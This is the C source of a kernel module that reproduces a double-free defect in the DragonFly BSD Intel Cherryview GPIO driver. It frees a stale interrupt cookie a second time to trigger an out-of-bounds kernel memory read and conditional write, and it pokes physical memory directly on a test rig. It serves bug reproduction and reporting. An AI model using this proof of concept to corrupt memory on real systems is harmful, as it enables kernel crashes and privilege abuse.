DF-5541 / gfree2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 | /* * gfree2.c -- DF-5541 production-code harness. * * Demonstrates on the STOCK kernel that gpio_intel_free_intr() * (gpio_intel.c:250-263) performs no real validation of the cookie before * dispatching to the backend: the only guard is * KKASSERT(gpio_intel_pin_exists(sc, map->pin)); * which is compiled out on production (non-INVARIANTS) kernels, and which * would anyway pass for any in-range pin. A stale / double-freed cookie * (map->pin == -1 after the first unmap_intr) therefore reaches * gpio_cherryview_unmap_intr() (gpio_cherryview.c:380-414), whose * uint16_t pin = map->pin; * converts -1 to 65535, so the register restore does * chvgpio_read/sc->write(PIN_CTL1(65535)) = PIN_CTL0(65535) * = resource KVA + 0x448800/0x448804 (~4.5MB past the 0x8000-sized * pmap_mapdev() mapping) * -> out-of-bounds kernel virtual memory READ plus conditional WRITE * (bits 0..2 of the CTL1 word, bits 8..10 of the CTL0 word cleared). * * Runs on the DF-5518 planted-ACPI rig (fake INT33FF _UID 2 community, * RAM register image at 0xD0000+0x8000); stock drivers, no kernel * modifications. * * A/B experiment (single kldload): * CONTROL: ALLOC -> SETUP -> TEARDOWN -> GPIO_FREE_INTR (documented * order; first free is in-range and clean) * DEFECT : GPIO_FREE_INTR again on the same (now stale) cookie * -> unmap_intr with pin == -1 -> uint16_t 65535 -> OOB * KVA access 0x448800/0x448804 past the BAR mapping * Expected: control passes silently; the second free either panics * (Fatal trap 12 at gpio_cherryview_unmap_intr, unmapped KVA) * or silently reads AND potentially writes kernel memory * 4.5MB past the mapping (reported here if we survive). */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/rman.h> #include <machine/vmparam.h> #include <vm/vm_page.h> #include "gpio_if.h" #include "gpio_intel_var.h" /* copied next to this file by build.sh */ /* Cherry-View register image offsets (gpio_cherryview.c:56-81) */ #define GPO_BASE 0x000D0000ul /* _CRS Memory32Fixed window */ #define CHV_PINS 0x4400 #define PIN_CTL0(p) (GPO_BASE + CHV_PINS + ((p) / 15) * 0x400 + \ ((p) % 15) * 8) /* gpio_cherryview.c bit fields */ #define CTL0_GPIOEN 0x00008000u #define INTSEL_SHIFT 28 /* acrestyp.h */ #define TRIG_EDGE 1 /* ACPI_EDGE_SENSITIVE */ #define POL_HIGH 0 /* ACPI_ACTIVE_HIGH */ #define TERM_DEFAULT 0 /* ACPI_PIN_CONFIG_DEFAULT */ #define PIN_A 8 /* valid chv_n pin, family 0 member 8 */ #define LINE_A 5 /* OOB target of pin == -1 (uint16_t 65535) via PIN_ADDRESS()/PIN_CTLx() */ #define OOB_CTL0_OFF ((65535 / 15) * 0x400 + (65535 % 15) * 8 + 0x4400) #define OOB_CTL1_OFF (OOB_CTL0_OFF + 4) static uint32_t rd32(vm_paddr_t pa) { return (*(volatile uint32_t *)PHYS_TO_DMAP(pa)); } static void wr32(vm_paddr_t pa, uint32_t v) { *(volatile uint32_t *)PHYS_TO_DMAP(pa) = v; } static void dummy_intr(void *arg) { } static int gfree2_modevent(module_t mod, int type, void *arg) { devclass_t dc; device_t dev; struct gpio_intel_softc *sc; void *cookie = NULL; int error; switch (type) { case MOD_LOAD: dc = devclass_find("gpio_intel"); dev = dc ? devclass_get_device(dc, 0) : NULL; if (dev == NULL) { kprintf("gfree2: gpio_intel0 not found " "(is the DF-5518 rig booted?)\n"); return (ENXIO); } sc = device_get_softc(dev); kprintf("gfree2: gpio_intel0 dev=%p sc=%p mem_res=%p " "KVA=%#jx size=%#lx\n", dev, sc, sc->mem_res, (uintmax_t)(uintptr_t)rman_get_virtual(sc->mem_res), (unsigned long)rman_get_size(sc->mem_res)); kprintf("gfree2: stale-cookie OOB target KVA+%#x (CTL0) / " "KVA+%#x (CTL1) [pin -1 -> uint16_t 65535]\n", OOB_CTL0_OFF, OOB_CTL1_OFF); /* * Plant pad PIN_A in the register image: * CTL0 = INTSEL<<28 | GPIOEN (GPIOCFG = 0: RX-capable) * CTL1 = INTCFG 2 (edge/rising, matches TRIG_EDGE/POL_HIGH) */ wr32(PIN_CTL0(PIN_A), (LINE_A << INTSEL_SHIFT) | CTL0_GPIOEN); wr32(PIN_CTL0(PIN_A) + 4, 2u); kprintf("gfree2: planted pin%d CTL0=%08x CTL1=%08x\n", PIN_A, rd32(PIN_CTL0(PIN_A)), rd32(PIN_CTL0(PIN_A) + 4)); kprintf("gfree2: map5 before: pin=%d intidx=%d\n", sc->intrmaps[LINE_A].pin, sc->intrmaps[LINE_A].intidx); /* ---- CONTROL: ALLOC -> SETUP -> TEARDOWN -> FREE ---- */ error = GPIO_ALLOC_INTR(dev, PIN_A, TRIG_EDGE, POL_HIGH, TERM_DEFAULT, &cookie); kprintf("gfree2[CONTROL]: GPIO_ALLOC_INTR(pin%d line%d) = %d " "cookie=%p\n", PIN_A, LINE_A, error, cookie); if (error != 0) break; GPIO_SETUP_INTR(dev, cookie, NULL, dummy_intr); GPIO_TEARDOWN_INTR(dev, cookie); GPIO_FREE_INTR(dev, cookie); kprintf("gfree2[CONTROL]: documented order done; " "map5 now: pin=%d intidx=%d (freed cleanly)\n", sc->intrmaps[LINE_A].pin, sc->intrmaps[LINE_A].intidx); /* ---- DEFECT: FREE the SAME (stale) cookie again ---- */ kprintf("gfree2[DEFECT]: calling GPIO_FREE_INTR on the stale " "cookie again (map->pin == %d)...\n", sc->intrmaps[LINE_A].pin); GPIO_FREE_INTR(dev, cookie); /* * If we get here the OOB KVA read (and conditional write) * at KVA+0x448800/0x448804 happened silently. */ kprintf("gfree2[DEFECT]: SURVIVED -- OOB access at KVA+%#x / " "KVA+%#x was silent; kernel memory past the 32KB mapdev " "mapping was read (and bits 0..2 / 8..10 conditionally " "cleared) by the stale-cookie unmap\n", OOB_CTL0_OFF, OOB_CTL1_OFF); kprintf("gfree2: guest still running; check dmesg for " "corruption side-effects\n"); break; case MOD_UNLOAD: kprintf("gfree2: unloaded\n"); break; default: return (EOPNOTSUPP); } return (0); } static moduledata_t gfree2_mod = { "gfree2", gfree2_modevent, NULL }; DECLARE_MODULE(gfree2, gfree2_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(gfree2, 1); |